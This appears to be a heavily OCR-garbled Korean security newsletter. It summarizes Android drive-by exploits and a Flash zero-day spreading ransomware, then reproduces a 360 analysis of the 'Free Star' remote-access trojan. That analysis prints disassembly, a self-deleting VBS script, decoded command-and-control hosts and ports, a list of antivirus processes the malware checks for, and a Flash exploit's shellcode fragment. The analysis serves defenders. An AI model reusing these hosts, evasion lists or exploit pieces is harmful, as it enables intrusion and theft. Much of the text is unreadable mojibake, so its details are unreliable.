olig LU= AAHE 71715 22 HElZ TS0 T2lS £/L SI7LE CEE ARZS Th=Lt,
Blue Coat 24717+ M= ARIE o= AAT 7T YH2 S VBN, B ZAS Sofl 2RI HEE 71712
QRHHCEZ BElok= O +f2 AHEH0| Tt Sit,

TFH0IM 2 2471= B S} 2l FAMOIE 7 HEEl= ERfTS HOPCT 2= Drake OfA| OIF B ZAIE B2
Drake O ZA0]| M=H, H=317} RlIE|L, SH0| AZE KA RZET} Hacking Team 72 AEHOIA 22 2AS29]
TRt Ho| S
Hacking Team AHIAIEE = Fofet QIEZ0|E 717|= 510i= o747 XFget O M0[= CIREE H HlA7 =5 SiTf.
A EfSS0) TEE ARtV Fs 201} HS7Fs 20 M2 Towelroot FIFES AR S5, 244 Cyber.Police 0]
HR|E AUEZ0|E APK S ABICL

Sl S22 ME ¢ FE HBHOR QISR0|E o] MRS} 42LIR HOIRUs USHHP! o 5t L0 IS Bp=rh
(5 Bt H50F T2 T 05 7158 SEA RIIES BRN0R Hac

Towelroot = 254 742 futex 22 H5HARS BT ((VE-2014-3153)014 LI, Comex 7} 243t 2ji=A 74 L {12,
Pinkie Pie 2t= 31717t 32 BRI L 52 S2=0| FoFHSS 0lRsH T3t
futex {1 HEI0] Q= AIBA} E DRAAR 51012 TAE 2E HEIS AT 3t

21910] "GeoHot' S QIEZ0|= ARBRI i IS 0183 71712 2E45tD, 7201t L2 SHER0] RIRISO0| SXsk=
HSS Maisr s S0l

== ofidf Towelroot F|FES HIH 4.4 0f|A] THX|HOLL, SHS B2 72| 25%2| QI=20|= AFSAS0| 2ok & ¢
HZH0|CH.

-LJ
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TS BHS S SIXIRH 28 Bt 717] QL0f
Bl QUABROI0| EAJB= 1 O Tl BIRISH IS HOICE (yber Police = P10 Ozt ATt 511 CHEE £

Sol= Ha 7S L8 AEE SR

MZ2 FEE HEA0 22, ol H2 DIfUS tSe7IX] =0

O0IEZ= 7|2E7IEE XI20f| AkZSh= A2 FX{0] WM 0242 Bitcoin = +1ot= Skl EZ=2t H|WsH XS [ TS 2=
=5t AOZ HOICL

SZ0= THE M0 ULt 7HSE BISHA |2t OFX 2telo| Fet Bh=rtl & 4 Gi= QIE20|= 4471 SEoh= 71712

HBAZ17] 2lell E2iE AAZZI HS AEoHHRE, 02 HT0= A80] giTt.
Eoh XiE77HK] B2 HIO| MEE siy 42 2 AMO|EAMTHREELT JOH, £ 2l Xitoll= Jeks DIXIX| =L

Ol2fet Mo, shis S42 FFEToit. 720 M=, 235%2| A=20|= 71717} sHiE SA0f| F{2FsHH, Blue Coat B 4.4
AZAHEE AE0] 2AdECH, i HHEIRE= 57%2 &SI,

t

et Fofet 77| AREAIS0| YHI0|ES BR| S A2 Hagl.

| LIoP}, offd S22 AEZ0|= MEXE L2 E210|E HIO| SH0| 38X Y +H0| 2 4 USS LIEHHC
2 SR K OS] Sl AAS % Solf 2-hit A WS EX| ARZICHH, 22 71=0] T AFSE & figdet
US O B2 AZAPHERIoH 2 A0[2k= A2 S-SRI

2

EA1: hitp://arstechnica.com/security/2016/04/active-drive-by-attacks-exploit-critical-android-bugs-care-of-hacking-team/

Z|4l Adobe Flash Player HIZH|0] FfHO = ZHMY 0] FIE
LATEST FLASH ZERO DAY BEING USED TO PUSH RANSOMWARE

T

Xt =LY H 71 OI0|E= IiX[E Adobe Flash Player MZH|0] F2FFEO0| = LYAZ 29! 21 SZ0IN 2Lo| 0[%[11 UL,
6H9'l§0 Locky Ei= Cerber THERYNZE ABKISS L7 17| 2foH 7 1Z22] THX|=|X| 942 FIFES ARl UL,

Locky = AHHCE ME2 FEE HHY0 BRE, IHITZE E2iS Word 2A1E Z et AW MRMAUS S5l HMAE
CHREE A)ZICE

SIS PCOl MEE BE MAUS Asst A7 |H, HIERS 3FE THE PC2L HE0] 2X|0] 22101 WHAE L2irt,

Cerber = FEE THAY0= ZSE PCIt AI"RIHHIHI SHOE US H= EFS A UL

AUASZA! AS HERI0] BHZEO| AFESh= 20| MZ2 LAIZ OHLX|ZE O[H0l= £5| 2= A1 S S42| SA0H U= Locky
A REE SHTHAZ |21 AUCE

Proof Point 2] O"—TU"OH =™, siE M=H|0IE Sol Nuclear UASZ9! 22 Locky HAYIHE, Magnitude LASZA 212
Cerber ZHEYYIE RESHL ULt

5
T o

.I

O
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oliz1=0| s MIZC0| FI2FEE 2&sh SAS Y EFIS2 2 4= §10] EXIT, Fash Player O B2 0] £
OIAZZQIS AIRSHC}
HR271=2 oli71=01 5iid FAF-S 100% Olotiol! EEot= A== HO|X| Ph=tial T,

JEH0|= S0k, S UASZA2 26| R IR,

Magnitude = Cerber HA&YI0] RN £=2 72 AlZt L, Nuclear & Locky ZHAYI0] R0 32 31 L2H siE FFHS 3240
0|85t QUL

Angler AAZZ9l 7] TR 34 AH|U0| 2 A2 OLLX|ZH 0] SH2 S2pX0|1 SHOBI0IN 217 |2 311 UCH= oA
CH St I340] UL

71E9| Locky QI £CI0| & OIS AT D747} 24515t

12, G A7 |MR| 2Xds 2o 4 ULt

ofidf MIZH|0] FIFH=2 Windows 10 2f Zixi| BT X OFH BP0 F2ks M, THE F{FES1t 274 Of'H ZCI0IEHIM
THR|=IRACH,

Adobe £ oiig AAZZOIOZ A|AH St ofi70] YT E AH0| TSt 4~ AT 2f6|0, 32 10 Y Flash 21.0.0.182
YOI0IEZ IHX[S ZiS A3,

EESt QVE-2016-1019 #{2H0] Flash 20.0.0.306 01 HITHS AkEok= Windows 7 X Windows XP AJAR ARESAIE 2|1t

UL HERLC.

2HMQY0= XA EXICHH| S0t A ARSSHAM 2517t 2 2492 E2ICET Proof Point 2| SEAFE Kevin Epstein 0] ZISHLE

EX: https://threatpost.com/latest-flash—zero—day-being-used-to-push-ransomware/ 117248/
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2. 3=

A

360 A7e2 45 ASAEL MY S0|H, AdJIES2 45 LEHsS SH
[e) o

Z
= o
0Lt St Aot ZZ FA HEQ huilang AEZEI M=2 QEY AHE

—_—

LIS

AR T SRR
http: //qxw1098940188. my3+. com/BlackColor. d1l

12345678 admins
2.0

SuperFroServer
uperFroServer

S
AN R S & F BB Ins & iEsh -
i‘Sy;ter:Rootﬂ

Cap3600
HATE
1
2
0
1
]
http: /fwww. 1p138. com/1ps138. asp?ip=Hshaction=2
>

<
bt::p:ffdns. ai zhan. com/7q=%s|
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###tvwsuxvtybvechg*** LS'39395.

B * & &

ofid YRO| 27t k= A0| S & =, OE ddIES0| g7 oig s Hog & AR

360 A740| AEY =4 Zu, Free Star 2h= AGIEE FA| 0l2{gt AU AZ LAS AE3UT. O
AHILE= 2015E 2 EF SoIUH, MEX= 2015E 5 8 WMy 23| HFRLENAM AZE TOHSHICH
1% ME2 HHZ2 2016 1 ER2E SAXTA| AEst UL}, siE AGAES] YE FEFEE GhOst,
dahuilang 2t RAtt. Ol & 4 A2 dditets AS 52 = WH

Of2ff Z{X3tHE il 23| HFLIE|O|M L2 22 Free Star AHIEQ| MO = 3HHO|H, SHE XK SIHOAM
= T UXO|, Server 2F S0A IP FAE Y22t ot 2 QQHUYLE dFst &, MHUM T0 dSdt=
2IEM0|AZ Sot0 QQ 2 HUlglg ¥ ddIEE U Z IP =425 =M

@ Free Star it 7.3.1 QQEF:264193506

BEQ BERQO HYHL =RSEFY SAIRY EREEEM
& B Q2 B 8 ® B 4 £ & 2 O, B B O
THEE @802 SRSE EaETE OSE EELT CMD&ER IHEE ESEE IHE SEEC BATHR EREER oEEs BUHESF
ﬁﬁ/ﬁz&! e
AMEHBERE REHHR
IEIP (): 160.25¢. 125.221 R0 (a1 VISRET (ERTLE)  EEHA: Defeale E
Q0.F4 2) 550067654 O 81 el T 3 SEEE 7.3
gareir B, GEeh A {E) s fEEY
R: [Fire Tn The Helaiirg _n “sym
:Zzz Fire In The Hole yta for ¥indowsz(R) ’;2@;;8 1.27'0"0“1‘ ﬁ%‘_‘l@g Eas
WEEE: (s RSEERE B &8 AFS T e R
TR (WrogranFilesi\Google = l%’ [ éﬂ%ﬂi’l] [&mr-ﬁu]
PRI | google. con [T EEER ERAET
wEE (ER &
! | Rankx 0 NE (OAFHK)
Ll WE—IF10: [91c4d3489347 d3844044800850962751
Time
? 2016-03-2
@ 2016-03-2
BEM8 (RS [HRE (BT R
77 1P: 160.254.125.227 M NT:0 2K:0 XP:0 2K3:0 Vista:0 2K8:0 Win7:0 Win8:0 2012:0 Win10:0 Win2016:0 -> Aif: 04 |8 =0: 81
JoUEE E (Dooa0.360.cn )

Y=2ok= AUHO|A= Offif ZTt.
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> ©  [OmEmsws | v users.qzone.qq.com/feg-bin, x |+

portraitCallBack ( {"550067654" : [“http://qlogo3. store. qq. com/ gzone/550067654/550067654/100”, 589, -1, 0, 0, 0, “ddeadda jfadleSS”, 01} )
SEUZHEEIE ( bobao380.0n )

227t M5t tMAEE Free Star I E0|LCE
ME 24
ME9o| 7|2 MEE C+31t 2Lt
42k : c3d7807f88afe320516f80f0d33dc4f3, a1bb8f7ca30c4c33aech48cc04c8a81f
AMIALO FQ M= CHS2p 2L
MH|A gt= 71 ME AR X7 Y ME
Gethostbyname g+E 0|&05I0 AAst 4 =22 QQ HUIYS Sot¢ QUEMO|AH WESHH AHIEE
HWHE FAE U220 QRN HZE
HHAl IRMA ATH
QEE AYEE 0|85 HHS ot B 4 Jls AH
MH|A gt= 71 ME AR 7| Y ME
POl MH|A ot=0] FIE[QJ=X] &olst =, TteF SEO0| tE[GUCHH XS SAlst
=L}
[CALL c3a7807+.004051E0 |PEsErrEEaET 5

TEST EAX,EAX

20404F82|| .. 74 4A JE SHORT ¢3d7807f.00404FCE
30404784 68 6CCE4000 |PUSH ¢3d7807f.0040CE6C ProclameOrOrdinal = “"StartServiceCtrlDispatcherA™
)0404F89 68 BCCD400O |PUSH c3d7807f.0040CDBC FileName = "ADVAPI32.d11"
J0404F8E (74424 28 4A(MOV -,c3d7807f.0040‘ ASCII "Fire In The Hole jrg"
20404F96 C74424 2C 10¢MOV ,€3d7807F.00404
30404F9E 895C24 30 MoV ,EBX S60ZLABIE (bobav360.cn )
MH|A B

mov esi, [ebp+lpData]

noy edi, esi

or ecx, BFFFFFFFFh

xor eax, eax

repne scasb

not ecx

push ecx ; cbbData

push esi ; lpbata

push edx ; duType

push eax ; Reserved

nov edx, [ebp+lpUalueNane]

push edx ; lpValueMame

noy eax, [ebp+hKey]

push eax ; hKey

call ds:RegSetValueExA

test eax, eax

jnz short loc_409064% ; jumptable DO4O8F62 default case
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00405577
9040557C
0040557F
00405580
00405583
00405584

68 FFO10F00 |PUSH OF@1FF

DesiredAccess = SERVICE_ALL_ACCESS
DisplayName

ServiceName
hManager

0018F42C| 0840C562|| ServiceName = “Meumeu Nevne"
0018F430| 0@408C5C6|| DisplayName = "Jbrjar Kbskbsjb Tkctkcsk Dtld™

0018F434| @OOFO1FF|| DesiredAccess = SERVICE_ALL_ACCESS

0018F438| 00000110|| ServiceType = SERVICE_WIN32_OWN_PROCESS |SERVICE_INTERACTIVE_PROCESS
0018F43C| 00000002 || StartType = SERVICE_AUTO_START

0018F440| 00000000 || ErrorControl = SERVICE_ERROR_IGNORE

0018Fa44| @@18FACO|| BinaryPathName = "C:\Userslll\Desktop\albb8f7ca30cdc33aecbd8ccO4c8a8lf.exe”
0018F448| 00000000 || LoadOrderGroup = NULL

0018F44C| 00000008 || pTagld = NULL

0018F450| 00000000 || pDependencies = NULL

0018F454| 00000000 || ServiceStartName = NULL

P218F4A58| 00000000 |LPassword = NULL

380ZHEEIR ((DobHao380cn )

StartSerbiceA £ 0I5 AMHIAS AXSIL, = 7[5 Z2MIA0| T

00405550|| . FF15 @8A@400( GALE DWORD PTR DS:[<&ADVAPI32.OpenServi{ ADVAPI32.OpenServiceA
00405563 || . 8985 DOFCFFF|MOV DWORD'PTR SS:[EBP=330], EAX

00405569(| . 85C0 TEST EAX,EAX
00405568|| ., OF84 0202000( JE c3d7807f.00405773
©00405571|] . 6A 00 PUSH @

00405573|| . 6A 00 PUSH @

00405575(| . 8BC8 MOV ECX, EAX
004085577|] . 51 PUSH ECX

00405578|| . FF15 @CA@400( GALL DWORD PTR DS:[<&ADVAPI32.StartServi ADVAPI32.StartServiceA
0040557E || > 6A 00 PUSH 0

00405580(| . 6A 00 PUSH @
00405582|| . 8895 DOFCFFF|MOV EDX,DWORD PTR SS:[EBP=330]

00405588|] . 52 PUSH EDX

360FLEIE (bobao.360.cn )

\%appdata% & XIHE SEOZ XIS SAFSIL,
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push offset LibFileMame ; "KERHEL32.d11"

nov esi, ds:LoadlLibraryn
call esi ; LoadLibraryf
mov edi, eax

lea eax, [ebp+Dest]

push eax

call sub_4083CA0

add esp, 4

push offset aCopyfilea ; “CopyFilen”
push edi ; hHModule
call ds:GetProcAddress

push ebx

lea ecx, [ebp+Dest]

push ecx

lea edx, [ebp+Filename]

push edx

call eax ; CopyFilen
lea eax, [ebp+Dest]

push eax

call sub_4830820

SP0EALEAEIR ( bobHa330en )

AI7HAH AS-ES U1 AT ARIE Sot AflE =20

r

o~

hTemplateFile = NULL
Attributes = @

Mode = CREATE_ALWAYS
pSecurity = NULL
ShareMode =~ ©

Access = GENERIC_WRITE
FileName
teFil(LCreateFil

0018F33C Access = GENERIC_WRITE
0018F340 ShareMode = ©
0018F344 pSecurity = NULL
©018F348 Mode = CREATE_ALWAYS
0018F34C Attributes = @
0018F350 hTemplateFile = NULL

300 LR (bobHo.380.cn )
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- I L

004047A1|| . 6A 00 PUSH @

e0404743|| . 6A @@ PUSH @

ee4e47A5|| . 809424 6C0@10¢ LEA EDX,DWORD PTR SS:[ESP+16C]
004047AC|| . PUSH @

004047AE|| . aoacu 18  |LEA ECX,DWORD PTR SS:[ESP#18]
00404782 . 52 PUSH EDX

e0404783|[ . 51 PUSH ECX

00404784

xitCode =9

ExitProrace

69464? B 8

BMF1 32 FxitProre

EﬁX-?GlC?B?S (SHELL32. ShellExecuteﬁ)

9918]:346 0318F369 ASCII "open”
P018F344| ©018F488|ASCII "C:\9864.vbs"

SR (bobao380en )

ASEES| g2 TSt &L

REREE S o vho03 |
H dim wsh
2
3 On Error Resume Next
4
S set wsh=createlbject ("WScript.S5he1l1l")
€
7 Set objF50 = CreateObject("Scriprting.FileSysctemCbject")
8
9 w3cript.sleep 1000
10
11 objFS0.DeleteFile (“C:\Users=Desktap\a’.bbef?caBOr.'éc33aecb€&cc0&c3a31f.exe"] ¢ True
12

13 createcbject {"scripting.filesystemobject") .delecefile wscript.SCriptinliname

0EEIEF Cnobaoaien )

HXAEZ| 0 tHSol=s =S Sot0 MH|AS| =X 770 CHot] =telotar, 2AE L0

o oo —sim sV BUVB AL VWU £

> E8 60020000 |CALL google.004051E0 IsServiceRegExist
. 85C0 TEST EAX,EAX
| JEI'SHORT google.@@404FC
68 6CCE400@ |PUSH google.@@40CE6C ProclameOrOrdinal = "StartServiceCtrlDispatcher?
68 BCCD400@ |PUSH le.0040CDBC FileName = "ADVAPI32.d11"
(74424 28 4A(MOV ,google.0040C54A ASCII "Fire In The Hole jrq"
€74424 2C 10 MOV ,google.00404A10
895C24 30 MOV ,EBX
. |895C24 34  |MOV ,EBX
. | FF15 CALL DWORD PTR DS:[<&KERNEL32.LoadLibraryA>] LoadLibraryA
. |se mpusn EAX hModule
. | FF15 CALL DWORD PTR DS:[<&KERNEL32.GetProcAddress>] GetProcAddress
. | 805424 20 |LEA on,*
. |s2 PUSH EDX
FFDO CALL eax
8835 90A0400(MOV ESI,DWORD PTR DS:[<&KERNEL32.Sleep>] kernel32.Sleep

360 EEIE (bobao.380.cn )

S8 dns,QQ S, ZE HSO| =55}
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S
-

2353} st

E8 2FE9FFFF
68 8C(34000
. A3 1CeC420e
. E8 20E9FFFF
. 68 B8C44000
. A3 206C4200
. E8 11E9FFFF
8B35 3CA340

CALL google 00402130
PUSH google.0040C38C
MOV DWORD PTR DS:[426C1C],EAX
L google.00402130
PUSH google.0040C4B8
MOV DWORD PTR DS:[426(20],EAX
LL google.00402130

XOR 0x88, E2{A 0x78, 1

ESI,DWORD PTR DS: [<8MSVCRT.atoi>]

< CIA] XOR 0x20 otcf,

Base64 Decode
ASCII "FRUQEBYXFhUUIA=="

Base64 Decode
ASCITI "FhQSESA="

Base64 Decode

| msvcrt.atoi

S6CC ASCIT “6421"
001856D0| ©0772C38|ASCII “550067654"
00185604 00772BEQ|ASCII “"pzss.f3322.org"

360ZE=EiE ((bobao.380.cn )

ip =AE =Lt
ooap16cA|| . FFDR CALL eax
oeaelscc|| . 6A o6 PUSH & Protocol = IPPROTO_TCP
9e4016CE|| . 6A €1 PUSH 1 Type = SOCK_STREAM
ge4016D2|| . 6A @2 PUSH 2 Family = AF_INET
20401602 (686 BEOAGRA(MOV BYTE PTR DS:[ESI+BO],
20401609 FF15 C4A34@ed CALL DWORD PTR DS: [<&NS2_32.#23>] socket
004016DF 885424 2C  |MOV EDX,
904016E3|| . 8986 AS0@OEAIMOV DWORD PTR DS:[ESI+A8],EAX
oe4e16£9|| . 52 PUSH EDX Name
FF15 CALL DWORD PTR DS:[<&WS2_32.#52>] [gethostbynarle
OOAGIEED SBCR MO ENT EAY
DS: [@048A3CA]=75C37673 (WS2_32.gethostbyname)

GGSFZBEBlLHane = "pzss.f3322.0rg"

XotH,

QQ HHIY ?

. 894424 28  |MOV DWORD PTR SS:[ESP+28],
. FF15 CALL DWORD PTR DS: [<8hS2_32.#4>]

B bobaaEaten )

EAX

& bobaos3elen )

2IE{I0|AS SotH ip FAE Y=L

GetEncryptedIpByQ0Q_40835B0 ; ﬁﬂhttp:}fusers.qznne.qq.comffcg-hinfcgi_get_portrait-ch?uins-zs
BRI M

Cstring(char const =)

stosw

push offset aFruqebyxfhuuia ; “FRUGEBYXFhUUIA==
stosh

call  sub_up2130 ; BEWS

push eax

call

add esp, 8

lea ec¥, [ebp+var_308]

push eax

call 770C5tringEROAERPBDEZ ; CString::

push ebx ; int

lea ecx, [ebp+var_38] ; this

nov byte ptr [ebp+var_4], 1

call ?GetBuf Fer@CString@REOAEPADHEZ ; CString::GetBuffer(int)
now edi, eax

ACCEEECECH

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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call ?70CInternetSession@RQAEBPBDKKOOKE@Z ; CinternetSession::CInternetSession{char const =,ulong,ulong,char const *,char const *,ulong)

push a ; unsigned __int32

push ] ; char =

push 1 ; unsigned __int32

lea ecx, [esp+uB248h+uar_4B214]

push 1 ; unsigned _ int32

push eCx ; char *

lea ecx, [esp+uB25Bh+var_4B228] ; this

nou byte ptr [espr4B250h+var_ 4], 1

call Top BECInternetiessi tdioFile@@PADKKOK@Z ; CinternetSession::OpenURL(char const *,ulong,ulong,char const =, ulong)
noy ebx, eax

SE0EE R (bobaoB60en )

HEX 38 ASCII

6C 6F 67 6F 33 2E 73 74 6F 72 65 2E 71 71 2E 63|logo3.store.qq.c
6F 6D 2F 71 7A 6F 6E 65 2F 35 35 30 30 36 37 36 om/qzone/5500676
35 34 2F 35 35 30 30 36 37 36 35 34 2F 31 30 30|54/550067654/100
22 2C 35 38|39 2C 2D 31|2C 36 2C 30(2C 30 2C 22|",589,-1,0,0,0,"
64 61 65 63 6A 61 69 6B 61 6C 64 53 53 00 2C 30 daecjaikaldSS.,o
SD 7D 29 00 00 00 ©0 00 00 00 00 00 00 00 00 00|]1})........0....

380Z &% ((bobao350.cn )

) DecryptIiP_4B37AQ proc near ; CODE XREF: MainBanch_4B37C0+23ALp
3

1 arg_N = dword ptr &

) arg_b = dword ptr 8

]

] now edx, [esprarg_ 4]

4 ®or eax, eax

5 test eds, eds

i jle short locret_4B3TBE

1 now ecx, [esp+arqg_ 0]

: push ehx

: loc_WA3TAF: ; CODE XREF: DecryptIP_h@37a@+1BQj
F nov bl, [eaxrecx]

4 add bl, BCOh

H mow [eax+ecx], bl

i inc eax

] cap eax, edx

H j1 short loc_WB37AF

] pop ehx

: locret_hB37BE: ; CODE XREF: DecryptIP_ho37ad+81j
E retn

HE0FLAEIR ( bobaoHalern )

)
o
ol
rot
o

A2 ip TAE=1.207.68.91 0|H, HAHS A[ZISICL,

2800:2552 2440 NET_connect 1.207.68.91:6421

YEUEESRIE CDanag Haten )

0] 74Ol FAS SOUIFA HTE W MK HBS AEITH HHO| HToIH, ¥ T2HAR X
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NECTE RS

e g 2

00402894

00402895 || .

0040289 | . - DHORD PTR DS:[<&MWS2_32.#57>]
I

EDI

Buffer

[BuFSize
gethostname

3E0ZLEIE ((bobao380.n )

. (b4424 42 bF| MOV
. (64424 45 38
. (64424 46 98

AD10]=76E1CC15 (ADVAPI32.RegOpenKeyA)

00184EE4| £58. |LpHandle = @@184EE4
@0184EA8| 774C1222|"Blw|kernel32.GetProcAddress
@ |©0184EAC| 774C49D7|ZiLw|kernel32.LoadLibraryA

00184EB4 | £8. Subkey = "HARDWARE\DESCRIPTION\System\CentralProcessor\@"

7Bt He 2

QB402AF7

00402AFE

00402805|| . 8Dac24 sa
00402809|| . 51
0040280A|| . 898424 60010(MOV
00402811|[ . 74424 58 40(MOV B
00402819|| . FF15 AC CALL DWORD PTR DS: [<RKERNEL32.GlobalMemoryStatusE
0040281F || . 8B4424 5C  |MOV EAX,
00402823| . 885424 60  |MOV EDX,
00402827| . B9 14000000 |MOV ECX,14
0040282C|| . E8 AF6E@e0e |CALL google.004099EQ

e0402831(| . 883D S MOV EDI,DWORD PTR DS:[<&KERNEL32.GetDriveTypeA>]
00402837|| . 8B2D 5C MOV EBP,DWORD PTR DS: [<RKERNEL32.GetDiskFreeSpace
00402830|| . 33F6 XOR ESI,ESI

0040283F || . 898424 Aee1e(MOv DHORD PTR SS:[ESP+148], EAX

NNANNDAL 23N0 VND CDV COV

T2AA ATHS S5/01 Al TRAA AE

ESTSOﬂ‘ Copyright by ESTsoft corp. All rights reserved.

360ZLEIE ((bobao380.cn )

kernel32.GlobalMemoryStatusEx

kernel32.GetDriveTypeA
kernel32.GetDiskFreeSpaceExA

360FEEF (bobao380.cn )
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20409273|| . FFD@ CALL EAx CreateToolhelp32Snapshot
99409275|| . 68 28010000 |PUSH 128
004892741 . 8BF8 MOV EDI,EAX
2040927C|| . E8 85040000 |CALL <IMP.RMFCA2.#823 222@YAPAXIRZ>
00409281|| . 83C4 @4 ADD ESP,4
00409284|| . 8BF@ MOV ESI,EAX
90409286|] . 68 E8D14860 |PUSH google.@@48D1ES ASCII "Process32First™
99409286|| . 68 40C@4800 |PUSH google.@@48(e48 ASCII “KERMEL32.d11"
99409290|| . €706 2801000 MOV DWORD PTR DS:[ESI],128
00489296|] . FFD3 CALL eBx
20409298(| . 5@ PUSH EAX
00409299|| .  FFDS CALL esP
80489298|| . 56 PUSH ESI
#840929C|| . 57 PUSH EDI
2040929D|| .  FFD@ CALL EAx Process32Firsy
80489297 || .  85C@ TEST EAX,EAX
20409241|] ., 74 61 JE SHORT google.@@4a9304
094092A3|| . 8B4C24 14 MOV ECX,
00409247|| . 8D46 24 LEA EAX,DWORD PTR DS:[ESI+24]
004089204|| . 51 PUSH ECX
00409248|| . 8BED C464420{ MOV ECX,DWORD PTR DS:[4264C4]
00409281|| . S0 PUSH EAX
. EB8 B9FIFFFF |CALL google.@0408448
90409287 85C0 TEST EAX,EAX

08408440=google. 00408440

390EEEF ( vobao380en )

A DENAS S MHol= S0 22Xt Z8S 01Z510] MESHH, i F7HS| EAt= dSots Wil Z2MA 0|53 7127 1=

HQIEO|Ct,

.data:0040C138 off_4BC138 dd offset a368sd_exe ; DATA XREF: sub_4825FB+1570
.data:006408C138 ; "360sd.exe™
.data:00e40C13C dd offset a360 ; "366REF"
.data:0040C140 dd offset aKxetray_exe ; "kxetray.exe”
.data:00408C14Y, dd offset unk_408CB30

.data:0040C148 dd offset aKsafetray_exe ; "KSafeTray.exe™
-data:00408C14C dd offset unk_40CB14

.data:0e48C158 dd offset aQqpcrtp_exe ; "0QOPCRTP.exe™
.data:ee48C154 dd offset alq ; TEE
.data:0e408C158 dd offset aBaidusd_exe ; "BaiduSd.exe"
.data:@8e4ec15¢C dd offset asc_4OCAES ;s "RERE"
.data:0848C160 dd offset aBaidusafetray_ ; "baiduSafeTray.exe”
.data:0846C164 dd offset asc_4OCACS ; "AED A
.data:0848C168 dd offset aKumonxp_exe ; “HullonXP.exe™
.data:0040C16C dd offset unk_48CABY4

.data:00640C170 dd offset aRavmond_exe ; "RauvllonD.exe"
.data:0p4eCc174 dd offset unk_40CARGO

.data:0040C178 dd offset aQuhlpsvc_exe ; “(QUHLPSUC.EXE™
.data:@e408Cc17C dd offset aQuickheal ; "QuickHeal™
.data:0040C180 dd offset alssecess_exe ; "mssecess.exe”
.data:0040C184 dd offset alMse ; "MSE"
.data:00408C188 dd offset aCfp_exe ; "cfp.exe"”
.data:0e40Cc18C dd offset aConodo ; "ComodoiFE"
.data:0640C190 dd offset aSpider_exe ; "SPIDer.exe"
.data:0040C194 dd offset aDr_uweb ; "DR.WEB"
.data:06848C198 dd offset al3svc_exe ; "U3Suc.exe"
.data:8846Cc19¢C dd offset alu3 ; " tve
.data:0040C1A0 dd offset aAyagent_aye ; “AYAgent.aye”
.data:0040C1AL dd offset unk_408CA18

.data:00408C1A8 dd offset aAuguwdsuc_exe ; “avgudsuvc.exe’

3P0THEIEIE ( Dobao380en )
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Mk HEX 38

ASCII

00408CA78
0040CAB8
0040CA98
0040CAA8
0040CAB8
0040CAC8
0040CAD8
@040CAES8
BB40CAF8
0040CB08
0040CB18
0040CB28
0040CB38

51 55 48
(8 Fo De
65 78 65
6E 58 50
00 00 00
79 2E 65
00 00 00
51 51 B9
65 78 65
4B 53 61
BD F@ C9
72
33

56
00
3
65
69
00
69
1502
9
72
BO
65
65

43
00
F1
00
64
00

2E
52
00
B0
75
B0
75
51
CE
79
00
33
65

00
BD
61

00
78

45
61
00
D9
53
D9
53
51
ce
2E
00
36
00

58
76
20
B6
61
B6

50
CA
65
00
30
00

45
4D
00
8
66
C8
2E
43
BF
78
00
9
00

00
6F
48
CE
65
9
65
52
00
65
6B
Bl
43

00
6E
76
co
54
Bl
78
54
00
00
78
B6
7A

00

CA
72
B6
65
50
00
00
65
BE
00

00
2E
6F
BF

61| Yy

BE

0o ...

2E
00
00
74
00
00

QUHLPSVC.EXE....
I%E....RavMonD.
exe.iLE....KvMo
nXP.exe. BETL+
.baiduSafeTra
BEAS
.BaiduSd.exe.
QQE 3 . .QQPCRTP.
exe. £ B+....
KSafeTray.exe...
£ILTEH. .. .kxet
ray.exe.3604% .

360sd.exe...Hz..
38U EIEE (bobao 380 )

y.exe..

CODE XREF: Gethostbyname Connect_4816A8+C87Tj

loc_4B17A4: ;
push 1
push a
push 0
push esi
push offset Recv_4B17ED
push 0
push i}
nov byte ptr [esi+©BOh], 1
call CreateThreadRecv_4091B8
add esp, 1Ch
nov [esi+BA4h], eax
mav eax, 1
pop edi
pop esi
add esp, 26h
retn 8

Gethostbyname_Connect_4816A0 endp

ORR|9iof| M22 Z2=MAS ==, 0= H

552 7I5S ZUUCH FEO| T 2rE2 CiSt

217 o5y
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R % RETFE 2w NEEEE | FRERER

HRINF R

L | soms Fraiee

=B

380 (bobao380en )
= =
olff7{ =&

O[FA QQ HHIRE Sol] 22421 F4Z B= LE=2 HXIE Tlok= SAI0 QQ AE0| Ekl= X LX[ol7| figt Z0|C
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Get o results, cost 0.542 seconds
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*1-3 ( 52242********219 )
IAERSE] : 2015-07-20 | HBE=EH] : 1802741 (£ | JAEREE : FESESSIAL

360Z =I5 (vobao380.cn )

R HE Uk k15224

1. SEMBH : EHSMEAEAL (8140 FXASBES224: BEHMEANTHAEM522400 B{EHF KAI6{TE522400
- 522499)8Y. #PREMEETHRHNESE. PIFRRGUET %S

20 R B S AT :
kit SHAER it 5 SHNER
EE 522401 xR 522422
BFEA 522423 fha 522424
e} 522425 s Y 522426
ETH& 522427 ifEE 522428

38U EEE (bobao 8l )
OIMTE RE F2

HEL HERIE 24 A=olH, AETE FEAPY0| CHOH ZIOLEAL.

Pol= W2 HES 2R, O & VS| ME0| YEok=s T4t LS| Hels SUCH, siSFAS =0l 2.

http://s0s.hk1433.cc:10089/bbs.html

@ ZE=TEi.exe 2015/9/7 11:01 NERS 1,610 KB
f S=Etexe 2015/7/23 824  REEE 1,696 KB
P KESTEEET exe 2013/1/219:12 REEE 224 KB

36UZ=iEiE (bobao360.cn )

HIOIXIS ¢ TS T=2 2f2lol| 22U
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# s05.hk1433.cc:10089/bbshtr % | # view-source:sos.hk1433.cc:10% | +

{!doctype html
<html>
<head>
</head>
<{body>

Kiframe src=movie.swf|width=5 height=5></ifrane>

</body>
</htnl>

W~ AWK -

Bl O] SIS 4 QU0
=3
=

Team 2| Flash |28

Lt
=] Data (1: bin_|

i
- HT_exploit
~ MyClass
. MyClass1
 MyClass2
- MyUtils
- SheliWin32
' §bin_bin$cdc30048ebad7 2M11:617b202)

360FHEAER (bobae350en )

SHE HIO XM= swf 2AME 2 SiCt 0] swf BAE L 22 & S0{= 21t Hacking
b= 42 UAASIFLCE Of2f ZIHE shellcode OIC

package

{

ieport flash utils ByteArray:

| class ShellNiz32 extends MClass

static var tagllass:Class = §ban bix$ ba872£1 £61 TH20243795848: §:
static var date_sz:Bytehrray;

static var _v:Vector. uint):

static var _vAddriuint:

static var _mciMyCleass2;

static var _mcOffs uint: E

static var _x32:Vector. <uint> = Vector. (-m>l(2|1o7um, 286956, 2425377536, 2244448100, 4294966480, 1094795585, 4227106247, 65535, ‘

3902 45iR ( bobao350.cn )

shellcode 2| 7|S2 dropper £, 0] 10| 553} & PE IUS L2 Et11 ASHA|7[i= Z40|Ct O] PE IfIO| HEZ Free Star O|Ct.
Ol2li= 533t 2| PE IYO|C,

- signature (bytes)
- version (UI8)=17

- fileSize (VI32) = 228953

